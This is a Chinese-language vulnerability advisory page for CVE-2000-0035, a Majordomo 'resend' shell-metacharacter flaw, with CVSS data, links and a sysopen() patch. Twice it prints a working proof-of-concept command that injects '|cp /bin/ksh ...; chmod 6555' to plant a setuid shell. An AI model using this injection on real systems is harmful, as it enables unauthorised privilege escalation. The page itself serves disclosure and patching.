CVE-2000-0035
CVSS4.6
发布时间 :1999-12-28 00:00:00
修订时间 :2016-10-17 22:06:15
NMCOES    

[原文]resend command in Majordomo allows local users to gain privileges via shell metacharacters.


[CNNVD]Majordomo局部重发漏洞(CNNVD-199912-098)

        Majordomo中的重发命令存在漏洞,本地用户利用该漏洞通过shell元字符获得特权。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0035
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0035
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199912-098
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=94780294009285&w=2
(UNKNOWN)  BUGTRAQ  20000113 Info on some security holes reported against SCO Unixware.
http://www.securityfocus.com/bid/902
(UNKNOWN)  BID  902

- 漏洞信息

Majordomo局部重发漏洞
中危 输入验证
1999-12-28 00:00:00 2005-10-20 00:00:00
本地  
        Majordomo中的重发命令存在漏洞,本地用户利用该漏洞通过shell元字符获得特权。

- 公告与补丁

        Perl programmers are advised to use sysopen() as opposed to open() for security reasons.
        A patch submitted by "Todd C. Miller" to Bugtraq on December 29, 1999 is listed below:
        --- resend Thu Aug 19 10:12:03 1999
        +++ resend+ Tue Dec 28 23:55:39 1999
        @@ -58,7 +58,7 @@
         if ($ARGV[0] =~ /^\@/) {
         $fn = shift(@ARGV);
         $fn =~ s/^@//;
        - open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");
        + sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY): $!\nStopped");
         undef($/); # set input field separator
         $av = ; # read whole file into string
         close(AV);
        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19698)

Great Circle Associates Majordomo 1.94.4 Local resend Vulnerability (EDBID:19698)
linux local
1999-12-28 Verified
0 Brock Tellier
N/A [点击下载]
source: http://www.securityfocus.com/bid/902/info

It is possible to execute arbitrary commands with elevated privileges through exploiting the majordomo binary, "resend". A setuid root wrapper program calls resend after setuid()ing and setgid()ing to lowered (but still elevated) privileges which it runs resend with. resend contains a call to open() (it is a perl script), which can be made to execute shell commands if a '|' is the first character it is passed, so if the first parameter to resend is '@|shell;commands;here', the shell commands will be executed with resend's privileges.

bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.

bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec		

- 漏洞信息

13626
Majordomo resend Command Local Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

1999-12-28 Unknow
1999-12-28 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Majordomo Local resend Vulnerability
Input Validation Error 902
No Yes
1999-12-28 12:00:00 2009-07-11 01:56:00
First posted to Bugtraq by Brock Tellier on December 28, 1999.

- 受影响的程序版本

Great Circle Associates Majordomo 1.94.4

- 漏洞讨论

It is possible to execute arbitrary commands with elevated privileges through exploiting the majordomo binary, "resend". A setuid root wrapper program calls resend after setuid()ing and setgid()ing to lowered (but still elevated) privileges which it runs resend with. resend contains a call to open() (it is a perl script), which can be made to execute shell commands if a '|' is the first character it is passed, so if the first parameter to resend is '@|shell;commands;here', the shell commands will be executed with resend's privileges.

- 漏洞利用

The following was taken from Brock Tellier's Bugtraq post:

bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.

bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec

- 解决方案

Perl programmers are advised to use sysopen() as opposed to open() for security reasons.

A patch submitted by "Todd C. Miller" <Todd.Miller@courtesan.com> to Bugtraq on December 29, 1999 is listed below:

--- resend Thu Aug 19 10:12:03 1999
+++ resend+ Tue Dec 28 23:55:39 1999
@@ -58,7 +58,7 @@
if ($ARGV[0] =~ /^\@/) {
$fn = shift(@ARGV);
$fn =~ s/^@//;
- open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");
+ sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY): $!\nStopped");
undef($/); # set input field separator
$av = <AV>; # read whole file into string
close(AV);

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站